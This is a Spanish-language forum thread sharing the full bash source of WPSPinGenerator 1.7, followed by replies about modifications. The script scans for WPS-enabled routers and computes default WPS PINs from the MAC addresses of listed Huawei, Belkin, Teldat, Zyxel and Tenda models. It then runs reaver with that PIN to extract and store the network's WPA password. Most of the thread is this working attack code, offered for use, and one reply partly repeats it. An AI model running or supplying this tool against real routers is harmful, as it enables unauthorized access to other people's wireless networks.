Autor Tema: nuevas modificaciones WPSPinGenerator  (Leído 22322 veces)

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado USUARIONUEVO

  • Moderador
  • *
  • Mensajes: 14479
nuevas modificaciones WPSPinGenerator
« en: 18-12-2012, 15:35 (Martes) »
asi el tema queda dividido y limpio


version 1.7 que incorpora la cuenta atras en escaneo con wash.

Código: [Seleccionar]
#!/bin/bash

# Eliminando interfaces en monitor
interfaces=$(ifconfig|awk '/^mon/ {print $1}')
if [ "$interfaces" != "" ]; then
  for monx in $interfaces; do
    airmon-ng stop $monx >/dev/null 2>&1
  done
fi


# Variables globales
SCRIPT="WPSPinGenerator"
VERSION="1.7"
KEYS="$HOME/swireless/$SCRIPT/Keys"
TMP="/tmp/$SCRIPT"

MACs_Soportadas='
--------------------------------------------------
Fabricante >     HUAWEI
essid>          FTE-XXXX
modelo>    HG532c "Echo Life"
---------------------------------------------------

bssid soportados

04:C0:6F
20:2B:C1
28:5F:DB
80:B6:86
84:A8:E4
B4:74:9F
BC:76:70
CC:96:A0

--------------------------------------------------
Fabricante >     HUAWEI
essid>         vodafoneXXXX
modelo>          HG566a
--------------------------------------------------

bssid soportados

5C:4C:A9
62:A8:E4           
62:C0:6F
62:C6:1F
62:E8:7B
6A:53:D4
6A:55:9C
6A:C7:14
72:C0:6F
72:C7:14
72:E8:7B
62:C7:14
6A:A8:E4
72:55:9C

--------------------------------------------------
Fabricante >     Belkin
essid>         Belkin_N+_XXXXXX
modelo>        F5D8235-4 v 1000
--------------------------------------------------

bssid soportados

00:22:75

--------------------------------------------------
Fabricante >     Belkin
essid>         belkin.XXX
modelo>        F9K1104(N900 DB Wireless N+ Routeur)
--------------------------------------------------

bssid soportados

08:86:3B

--------------------------------------------------
Fabricante >   Belkin
essid>         belkin.XXX
modelo>        F5D8231-4  ver. 5000
--------------------------------------------------

bssid soportados

00:1C:DF

--------------------------------------------------
Fabricante >    Teldat
essid>         WLAN_XXXX
modelo>        iRouter1104-W
--------------------------------------------------

bssid soportados

00:A0:26

--------------------------------------------------
Fabricante >    Zyxel
essid>          ZyXEL
modelo>       zyxel NBG-419n
--------------------------------------------------

bssid soportados

50:57:F0

-------------------------------------------------
Fabricante>    Tenda
essid>        ?¿
modelo>       W309R
-------------------------------------------------

bssid soportados

C8:3A:35
'

# Algoritmos del script WPSPIN
WPSPIN() {
CHECKESSID=$(echo $ESSID | cut -d '-' -f1)
DEBUTBSSID=$(echo $BSSID | cut -d ":" -f1,2,3)
CHECKBSSID=$(echo $DEBUTBSSID | tr -d ':')
FINBSSID=$(echo $BSSID | cut -d ':' -f4-)                               
MAC=$(echo $FINBSSID | tr -d ':')                         
CONVERTEDMAC=$(printf '%d\n' 0x$MAC)                     

STRING=`expr '(' $CONVERTEDMAC '%' 10000000 ')'`
PIN=`expr 10 '*' $STRING`                         
ACCUM=0                                                 
                                                         
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`

DIGIT=`expr $ACCUM '%' 10`
CHECKSUM=`expr '(' 10 '-' $DIGIT ')' '%' 10`

PIN=`expr $PIN '+' $CHECKSUM`         
ACCUM=0

ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1 ')' '%' 10 ')'`

RESTE=`expr $ACCUM '%' 10`
if [ $PIN -lt 100000000 ] ; then
PINWPS1=$PIN
  if [ $PIN -lt 10000000 ] ; then
  PINWPS1=0$PIN
    if [ $PIN -lt 1000000 ] ; then
    PINWPS1=00$PIN
      if [ $PIN -lt 100000 ] ; then
      PINWPS1=000$PIN
        if [ $PIN -lt 10000 ] ; then
        PINWPS1=0000$PIN
         if [ $PIN -lt 1000 ] ; then
         PINWPS1=00000$PIN
           if [ $PIN -lt 100 ] ; then
           PINWPS1=000000$PIN
              if [ $PIN -lt 10 ] ; then
              PINWPS1=0000000$PIN
              fi
            fi
          fi
        fi
      fi
    fi
  fi
fi
             

     
STRING2=`expr $STRING '+' 8`
PIN=`expr 10 '*' $STRING2`                         
ACCUM=0                                                 
                                                         
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`

DIGIT=`expr $ACCUM '%' 10`
CHECKSUM=`expr '(' 10 '-' $DIGIT ')' '%' 10`

PIN=`expr $PIN '+' $CHECKSUM`         
ACCUM=0

ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1 ')' '%' 10 ')'`

RESTE=`expr $ACCUM '%' 10`
if [ $PIN -lt 100000000 ] ; then
PINWPS2=$PIN
  if [ $PIN -lt 10000000 ] ; then
  PINWPS2=0$PIN
    if [ $PIN -lt 1000000 ] ; then
    PINWPS2=00$PIN
      if [ $PIN -lt 100000 ] ; then
      PINWPS2=000$PIN
        if [ $PIN -lt 10000 ] ; then
        PINWPS2=0000$PIN
         if [ $PIN -lt 1000 ] ; then
         PINWPS2=00000$PIN
           if [ $PIN -lt 100 ] ; then
           PINWPS2=000000$PIN
              if [ $PIN -lt 10 ] ; then
              PINWPS2=0000000$PIN
              fi
            fi
          fi
        fi
      fi
    fi
  fi
fi
             
STRING3=`expr $STRING '+' 14`
PIN=`expr 10 '*' $STRING3`                         
ACCUM=0                                                 
                                                         
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`

DIGIT=`expr $ACCUM '%' 10`
CHECKSUM=`expr '(' 10 '-' $DIGIT ')' '%' 10`
PIN=`expr $PIN '+' $CHECKSUM`         
ACCUM=0

ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1 ')' '%' 10 ')'`

RESTE=`expr $ACCUM '%' 10`
if [ $PIN -lt 100000000 ] ; then
PINWPS3=$PIN
  if [ $PIN -lt 10000000 ] ; then
  PINWPS3=0$PIN
    if [ $PIN -lt 1000000 ] ; then
    PINWPS3=00$PIN
      if [ $PIN -lt 100000 ] ; then
      PINWPS3=000$PIN
        if [ $PIN -lt 10000 ] ; then
        PINWPS3=0000$PIN
         if [ $PIN -lt 1000 ] ; then
         PINWPS3=00000$PIN
           if [ $PIN -lt 100 ] ; then
           PINWPS3=000000$PIN
              if [ $PIN -lt 10 ] ; then
              PINWPS3=0000000$PIN
              fi
            fi
          fi
        fi
      fi
    fi
  fi
fi



if [ "$CHECKESSID" = "FTE" ];                         
then

FINESSID=$(echo $ESSID | cut -d '-' -f2)
PAREMACDIRTY=$(echo $FINBSSID | cut -d ':' -f1)
PAREMAC=$(echo $PAREMACDIRTY | tr -d ':')
MACESSID=$(echo $PAREMAC$FINESSID)
CONVERTEDMACESSID=$(printf '%d\n' 0x$MACESSID)
RAIZ=`expr '(' $CONVERTEDMACESSID '%' 10000000 ')'`
STRING4=`expr $RAIZ '+' 7`



PIN=`expr 10 '*' $STRING4`                         
ACCUM=0                                                 
                                                         
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`

DIGIT=`expr $ACCUM '%' 10`
CHECKSUM=`expr '(' 10 '-' $DIGIT ')' '%' 10`
PIN=`expr $PIN '+' $CHECKSUM`         
ACCUM=0

ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1 ')' '%' 10 ')'`

RESTE=`expr $ACCUM '%' 10`
if [ $PIN -lt 100000000 ] ; then
PINWPS4=$PIN
  if [ $PIN -lt 10000000 ] ; then
  PINWPS4=0$PIN
    if [ $PIN -lt 1000000 ] ; then
    PINWPS4=00$PIN
      if [ $PIN -lt 100000 ] ; then
      PINWPS4=000$PIN
        if [ $PIN -lt 10000 ] ; then
        PINWPS4=0000$PIN
         if [ $PIN -lt 1000 ] ; then
         PINWPS4=00000$PIN
           if [ $PIN -lt 100 ] ; then
           PINWPS4=000000$PIN
              if [ $PIN -lt 10 ] ; then
              PINWPS4=0000000$PIN
              fi
            fi
          fi
        fi
      fi
    fi
  fi
fi               
fi 
}

# Comprobar si la interface está conectada a internet
CheckETH() {
clear
if [ "$(ip route|grep default)" != "" ]; then
  ETH=$(ip route|awk '/default/ {print $5}')
  HW_WIFI=$(ifconfig $WIFI|awk '/HW/ {print $5}'|cut -d- -f1,2,3,4,5,6)
  HW_ETH=$(ifconfig $ETH|awk '/HW/ {print $5}'|tr ':' '-')
  if [ "$HW_ETH" = "$HW_WIFI" ];then
    echo
    echo "Para evitar errores, la interface \"$ETH\" no debe estar conectada a internet! "
    echo ""
    echo "Presiona enter para volver al menú"
    read junk
    menu
  fi
fi
}

# Funcion de seleccionar el objetivo a atacar, la mayor parte del codigo ha sido sacado del script Multiattack de M.K
SeleccionarObjetivo() {
i=0
redesWPS=0
while read BSSID Channel RSSI WPSVersion WPSLocked ESSID;do
  longueur=${#BSSID}
  if [ $longueur -eq 17 ] ; then
    i=$(($i+1))
    WPSbssid[$i]=$BSSID
    WPSchanel[$i]=$Channel
    WPSessid[$i]=$ESSID
    PWR[$i]=$RSSI
  fi
  redesWPS=$i
done < $TMP/wash_capture.$$
if  [ "$redesWPS" = "0" ];then
  clear
  echo ""
  echo ""
  echo "                        * * *     A T E N C I O N     * * *                "
  echo ""
  echo "                          No se ha encontrado ninguna RED "
  echo "                          con WPS activado en la captura"
  echo ""
  echo "                          Pulsa INTRO para volver al menu"
  read junk
  menu
else
  clear
  echo ""
  echo "                Las siguientes redes son susceptibles de ataque con REAVER"
  echo ""
  echo "            MAC            SOPORTADA?      PWR      Channel      ESSID"
  echo ""
  countWPS=0
  while [ 1 -le $i ]; do
    countWPS=$(($countWPS+1))
    MAC=$(echo ${WPSbssid[$countWPS]}|rev|cut -d: -f4-|rev)
    if [ "$(echo $MACs_Soportadas|grep ':'|grep $MAC)" != "" ]; then
      SOPORTADA="SI"
    else
      SOPORTADA="NO"
    fi
    echo " $countWPS)  ${WPSbssid[$countWPS]}         $SOPORTADA          ${PWR[$countWPS]}         ${WPSchanel[$countWPS]}         ${WPSessid[$countWPS]}"
    i=$(($i-1))
  done   
  i=$redesWPS
  echo ""
  echo " 0)  Para volver al menu "
  echo ""
  echo ""
  echo " --> Seleccione una red"
  read WPSoption
  set -- ${WPSoption}

  if [ $WPSoption -le $redesWPS ]; then
    if [ "$WPSoption" = "0" ];then
      menu
    fi
    ESSID=${WPSessid[$WPSoption]}
    BSSID=${WPSbssid[$WPSoption]}
    CHANEL=${WPSchanel[$WPSoption]}
    clear
  else
    echo " Opcion no valida... vuelva a elegir"
    sleep 2
    SeleccionarObjetivo
  fi
fi
WPSPIN
ShowWPA="OFF"
InfoAP="ON"
menu
}

# Escanear con wash
WashScan() {
if [ "$WIFI" = "" ]; then auto_select_monitor && WashScan; fi
CheckETH
xterm -iconic -e wash -i $WIFI -C -o $TMP/wash_capture.$$ &
WashPID=$!
sec_rem=30
sleep 30 && kill $WashPID &>/dev/null &
while true; do
let sec_rem=$sec_rem-1
        interval=$sec_rem
        seconds=`expr $interval % 60`
        interval=`expr $interval - $seconds`
  sleep 1
  clear
  echo "Escaneando en busca de objetivos... $seconds segundos"
  echo ""
  cat $TMP/wash_capture.$$
  if [ ! -e /proc/$WashPID ]; then
    sleep 1
    break
  fi
done
SeleccionarObjetivo
}

auto_select_monitor() {
#! /bin/bash


#############################################################################################################
# Programa: monitormode
# Autor: M.K. Maese Kamara
#
# Detectar tarjetas y montar  en modo monitor

#############################################################################################################


#poner tarjeta en modo monitor AUTOMATICO

clear
t=0
if [ "$WIFI" = "" ]; then
> $TEMP/wireless.txt
cards=`airmon-ng|cut -d ' ' -f 1 | awk {'print $1'} |grep -v Interface #|grep -v  mon   `
echo $cards >> $TEMP/wireless.txt
tarj1=`cat $TEMP/wireless.txt | cut -d  ' ' -f 1  | awk  '{print $1}'`
tarj2=`cat $TEMP/wireless.txt | cut -d  ' ' -f 2  | awk  '{print $1}'`
rm  -rf $TEMP/wireless.txt

if  [ "$tarj1" = "" ]; then
clear
echo "                  * * *     A T E N C I O N     * * *                "
echo ""
echo "    No se ha encontrado ninguna tarjeta Wireless en este equipo"
echo ""
echo "    Pulsa ENTER para volver al menu"
read yn
menu
fi

if [ "$tarj1" = "$tarj2" ]; then
tarj2=""
fi

tarjselec=$tarj1

if [ "$tarj2" != "" ] ;then
echo
echo
echo "      Se han encontrado las siguientes tarjetas wifi en este equipo"
echo

airmon-ng |awk 'BEGIN { print "Tarjeta  Chip              Driver\n------- ------------------ ----------" } \
  { printf "%-8s %-8s %-1s %10s\n", $1, $2, $3, $4 | "sort -r"}' |grep -v Interface  |grep -v Chipset

echo "      selecciona una para utilizarla en modo monitor"
echo

tarj_wire=""
tarjselec=""
function selectarj {
select tarjselec in `airmon-ng | awk {'print $1 | "sort -r"'} |grep -v Interface |grep -v Chipset  `; do
break;
done

if [ "$tarjselec" = "" ]; then
echo "  La opcion seleccionada no es valida"
echo "  Introduce una opcion valida..."
selectarj
fi
}

if [ "$tarjselec" = "" ]; then
selectarj
fi

echo ""
echo "Interface seleccionado: $tarjselec"

fi
else
echo
fi
tarjmonitor=${tarjselec:0:3}
if [ "$tarjmonitor" != "mon" ] && [ "$WIFI" = "" ];then
echo ""
echo ""
echo "                    Se está montando la tarjeta en modo monitor"
echo ""
sleep 1

#limpieza interface

ifconfig $tarjselec down >/dev/null
ifconfig $tarjselec up >/dev/null


airmon-ng start $tarjselec >/dev/null
cards=`airmon-ng|cut -d ' ' -f 1 |awk {'print $1 | "sort -d"'} |grep -v Interface |grep -v wlan`
largo=${#cards}
final=$(($largo-4))
WIFI=${cards:final}
echo  " $WIFI ----> Se utlilizara en modo monitor."
sleep 2

else
if [ "$WIFI" = "" ];then
WIFI="$tarjselec"

echo ""
echo  " $WIFI ----> Se utlilizara en modo monitor."
sleep 2
fi
fi
clear
}

ObtenerWPA() {
CheckETH
if [ "$CHECKESSID" = "FTE" ]; then
  PIN=$PINWPS4
else
  PIN=$PINWPS1
fi
xterm -iconic -e reaver -i $WIFI -b $BSSID -p $PIN -o $TMP/reaver_capture.$$ &
ReaverPID=$!
sleep 40 && kill $ReaverPID &>/dev/null &
while true; do
  sleep 1
  clear
  echo "Obteniendo clave WPA..."
  echo ""
  cat $TMP/reaver_capture.$$
  if [ ! -e /proc/$ReaverPID ]; then
    sleep 1
    break
  fi
done
echo ""
WPA_KEY=$(cat $TMP/reaver_capture.$$|grep WPA|cut -d"'" -f2-|rev|cut -d"'" -f2-|rev)
if [ "$WPA_KEY" = "" ]; then
  echo "No ha sido posible obtener la clave WPA"
  ShowWPA="OFF"
else
  WPA_TXT="$(echo $ESSID)_$(echo $BSSID|tr ':' '-').txt"
  echo "ESSID: $ESSID" >  $TMP/$WPA_TXT
  echo "PIN WPS: $PIN" >> $TMP/$WPA_TXT
  echo "CLAVE WPA: $WPA_KEY" >> $TMP/$WPA_TXT
  cat $TMP/$WPA_TXT|sed -e 's/$/\r/' > $KEYS/$WPA_TXT
  ShowWPA="ON"
  echo "La clave ha sido guardada en \"$KEYS/$WPA_TXT\""
fi
echo ""
echo "Presiona enter para volver al menu"
read junk
menu
}

#Función de desmontar tarjeta y salir, sacada de el script Multiattack de M.K.
function DESMONTAR_tarj_y_salir {
if [ "$WIFI" != "" ]; then
clear
echo ""
  echo ""
  echo ""
  echo " ####################################################################"
  echo " ###                                                              ###"
  echo " ###     ¿ quiere desnontar la tarjeta antes de salir?            ###"
  echo " ###                                                              ###"
  echo " ###        (n) no   -> Salir sin desmontar                       ###"
  echo " ###        (m) Menú -> Volver al menú principal                  ###"
  echo " ###        ENTER    -> Desmontar y Salir                         ###"
  echo " ###                                                              ###"
  echo " ###                                                              ###"
  echo " ####################################################################"
  echo ""
  echo ""
read salida
set -- ${salida}

if [ "$salida" = "m" ]; then
menu
fi
if [ "$salida" = "n" ]; then
  echo ""
echo "         Hasta Pronto..."
sleep 2
clear
exit
fi
echo "$WIFI Ha sido desmontada"
airmon-ng stop $WIFI >/dev/null
fi
  echo ""
echo "         Hasta Pronto..."
sleep 2
clear
 exit

}

menu() {
# Bienvenida
clear
echo "
         __    __               ___ _                   
        / / /\ \ \____  ___    / _ (_)_ __     
        \ \/  \/ /  _ \/ __|  / /_)/ | /_ \   
         \  /\  /| |_) \__ \ / ___/| | | | |   
          \/  \/ |  __/|___/ \/    |_|_| |_|  Generator $VERSION
                 |_|                                      "
echo ""
echo "        ****************************************************"
echo "        * << Based on ZhaoChunsheng work & kcdtv script >> *"
echo "        **************************************************** "
####################################################################
sleep 1
echo "---------------------------------------"
if [ "$InfoAP" = "ON" ]; then
  echo "INFO AP OBJETIVO"
  echo ""
  echo "              ESSID = $ESSID"
  echo "              Canal = $CHANEL"
  echo "         MAC del AP = $BSSID"
  if [ "$CHECKESSID" = "FTE" ]; then
    echo "    Posible pin WPS = $PINWPS4"
  else
    echo "    Posible pin WPS = $PINWPS1"
  fi
  if [ "$ShowWPA" = "ON" ]; then
  echo "          Clave WPA = $WPA_KEY"
  fi
  echo "---------------------------------------"
fi
echo ""
echo " 1) Buscar objetivos con WPS activado"
echo ""
echo " 2) Obtener clave WPA con reaver"
echo ""
echo " 3) Seleccionar otro objetivo"
echo ""
echo " 0) Salir"
echo ""
read -p " #> " CHOISE
echo ""
case $CHOISE in
  1 ) WashScan;;
  2 ) ObtenerWPA;;
  3 ) SeleccionarObjetivo;;
  0 ) DESMONTAR_tarj_y_salir;;
  * ) echo "Opción incorrecta"; menu;;
esac
}

# Comprobacion de usuario
if [ "$(whoami)" != "root" ]; then
 echo -e '\e[1;31m


    ¡¡¡ Debes ser root para ejecutar este script !!!

        Prueba: sudo $0

\e[0m'

 exit 1
fi

# Crear directorios si no existen
if [ ! -d $TMP ]; then mkdir -p $TMP; else rm -rf $TMP/*; fi
if [ ! -d $KEYS ]; then mkdir -p $KEYS; else rm -rf $KEYS/*; fi
if [ -d $HOME/Desktop/Wireless-Keys ]; then
  if [ ! -d $HOME/Desktop/Wireless-Keys/$SCRIPT-keys ]; then
    ln -s $KEYS $HOME/Desktop/Wireless-Keys/$SCRIPT-keys
  fi
fi

menu



Desconectado USUARIONUEVO

  • Moderador
  • *
  • Mensajes: 14479
Re: nuevas modificaciones WPSPinGenerator
« Respuesta #1 en: 19-12-2012, 04:28 (Miércoles) »
linea 596 al lanzar reaver....

añadir -vv  para ver pin y salto de canales & respuestas m1 m2 etc

Código: [Seleccionar]
xterm -iconic -e reaver -i $WIFI -b $BSSID -p $PIN -vv -o $TMP/reaver_capture.$$ &

popeye7

  • Visitante
Re: nuevas modificaciones WPSPinGenerator
« Respuesta #2 en: 02-01-2013, 10:02 (Miércoles) »
Buenas , mi pregunta es ¿ habría posibilidades de modificar el script del  WPSPinGenerator y que integrara el tiempo de scanning de forma similar al inflator 1.0 y que apareciera la opción de 5,15,30 segundos 1,5,15 minutos y además diera la posibilidad de all channel o de canales sueltos (1-14) igual que en inflator ? ¿ creeis que estas modificaciones serian acertadas ?
USUARIONUEVO apúntalo en la libreta "cuando tengo ganas "  . Feliz año y a sobrevivir....
« Última modificación: 02-01-2013, 10:09 (Miércoles) por popeye7 »

Desconectado USUARIONUEVO

  • Moderador
  • *
  • Mensajes: 14479
Re: nuevas modificaciones WPSPinGenerator
« Respuesta #3 en: 02-01-2013, 22:19 (Miércoles) »
Buenas , mi pregunta es ¿ habría posibilidades de modificar el script del  WPSPinGenerator y que integrara el tiempo de scanning de forma similar al inflator 1.0 y que apareciera la opción de 5,15,30 segundos 1,5,15 minutos y además diera la posibilidad de all channel o de canales sueltos (1-14) igual que en inflator ? ¿ creeis que estas modificaciones serian acertadas ?
USUARIONUEVO apúntalo en la libreta "cuando tengo ganas "  . Feliz año y a sobrevivir....


VOY A  VER , si le paso esto a geminis , que le pedi otra modsificacion tambien, ...""que revise los ESSID, y si no coinciden aunque la mac sea valida aparezca como no soportado"


por ejemplo -.-.-.

pongamos que la mac

11:22:33:xx:xx:xx  esta soportada para ESSID WLAN_XXXX

PUES LO QUE QUIERO , es que si hay macs

11:22:33 , pero el ESSID no es WLAN_XXXX , aparezcan como no soportadas ,por que hay macs iguales para distintos isp y unos valen y otros no. ,por eso comprobar ESSID.

m.k.

  • Visitante
Re: nuevas modificaciones WPSPinGenerator
« Respuesta #4 en: 02-01-2013, 23:44 (Miércoles) »
por ejemplo -.-.-.

pongamos que la mac

11:22:33:xx:xx:xx  esta soportada para ESSID WLAN_XXXX

PUES LO QUE QUIERO , es que si hay macs

11:22:33 , pero el ESSID no es WLAN_XXXX , aparezcan como no soportadas ,por que hay macs iguales para distintos isp y unos valen y otros no. ,por eso comprobar ESSID.

Yo creo que lo debería poner como , ni que si ni que no, no se... con un par de ?? como posible MAC valida y así poder comprobar si el PIN generado es o no válido (es un minuto) y si no vale pues nada.
Yo me he encontrado con una FTE con el SSID cambiado y me ha generado el PIN válido.
Saludos

Desconectado USUARIONUEVO

  • Moderador
  • *
  • Mensajes: 14479
Re: nuevas modificaciones WPSPinGenerator
« Respuesta #5 en: 03-01-2013, 00:15 (Jueves) »
por ejemplo -.-.-.

pongamos que la mac

11:22:33:xx:xx:xx  esta soportada para ESSID WLAN_XXXX

PUES LO QUE QUIERO , es que si hay macs

11:22:33 , pero el ESSID no es WLAN_XXXX , aparezcan como no soportadas ,por que hay macs iguales para distintos isp y unos valen y otros no. ,por eso comprobar ESSID.

Yo creo que lo debería poner como , ni que si ni que no, no se... con un par de ?? como posible MAC valida y así poder comprobar si el PIN generado es o no válido (es un minuto) y si no vale pues nada.
Yo me he encontrado con una FTE con el SSID cambiado y me ha generado el PIN válido.
Saludos


si , el pin se genera y prueba siempre ..pero que no aparezca como si soportada cuando seguramente no lo es.

ibrahim07

  • Visitante
Re: nuevas modificaciones WPSPinGenerator
« Respuesta #6 en: 04-01-2013, 00:55 (Viernes) »
Alguien me podria decir como hacerlo eso de cambiar el WPSPinGenerato en la consola ... ?¿ porfavor

warcry

  • Visitante
Re: nuevas modificaciones WPSPinGenerator
« Respuesta #7 en: 04-01-2013, 00:57 (Viernes) »
Alguien me podria decir como hacerlo eso de cambiar el WPSPinGenerato en la consola ... ?¿ porfavor

mira esto hombre

https://foro.seguridadwireless.net/wifislax/wifislax-4-3-wpspin-generator/

ibrahim07

  • Visitante
Re: nuevas modificaciones WPSPinGenerator
« Respuesta #8 en: 04-01-2013, 13:32 (Viernes) »
pero yo digo como puedo actualizarlo osea esaa WPSPinGeneratos de la manera q sale en el post de arivaa pero no see usarr el bash o modificar el modulo a eso me refiero

warcry

  • Visitante
Re: nuevas modificaciones WPSPinGenerator
« Respuesta #9 en: 04-01-2013, 13:35 (Viernes) »
pero yo digo como puedo actualizarlo osea esaa WPSPinGeneratos de la manera q sale en el post de arivaa pero no see usarr el bash o modificar el modulo a eso me refiero

que quieres actualizarlo con que  ???

ibrahim07

  • Visitante
Re: nuevas modificaciones WPSPinGenerator
« Respuesta #10 en: 04-01-2013, 13:39 (Viernes) »
osea estoo como puedoo convertirlo en un modulo para usarlo esqq muchas veses me encuentro cosas como estas i no see como hacer ....

version 1.7 que incorpora la cuenta atras en escaneo con wash.

Código:

#!/bin/bash

# Eliminando interfaces en monitor
interfaces=$(ifconfig|awk '/^mon/ {print $1}')
if [ "$interfaces" != "" ]; then
  for monx in $interfaces; do
    airmon-ng stop $monx >/dev/null 2>&1
  done
fi


# Variables globales
SCRIPT="WPSPinGenerator"
VERSION="1.7"
KEYS="$HOME/swireless/$SCRIPT/Keys"
TMP="/tmp/$SCRIPT"

MACs_Soportadas='
--------------------------------------------------
Fabricante >     HUAWEI
essid>          FTE-XXXX
modelo>    HG532c "Echo Life"
---------------------------------------------------

bssid soportados

04:C0:6F
20:2B:C1
28:5F:DB
80:B6:86
84:A8:E4
B4:74:9F
BC:76:70
CC:96:A0

--------------------------------------------------
Fabricante >     HUAWEI
essid>         vodafoneXXXX
modelo>          HG566a
--------------------------------------------------

bssid soportados

5C:4C:A9
62:A8:E4           
62:C0:6F
62:C6:1F
62:E8:7B
6A:53:D4
6A:55:9C
6A:C7:14
72:C0:6F
72:C7:14
72:E8:7B
62:C7:14
6A:A8:E4
72:55:9C

--------------------------------------------------
Fabricante >     Belkin
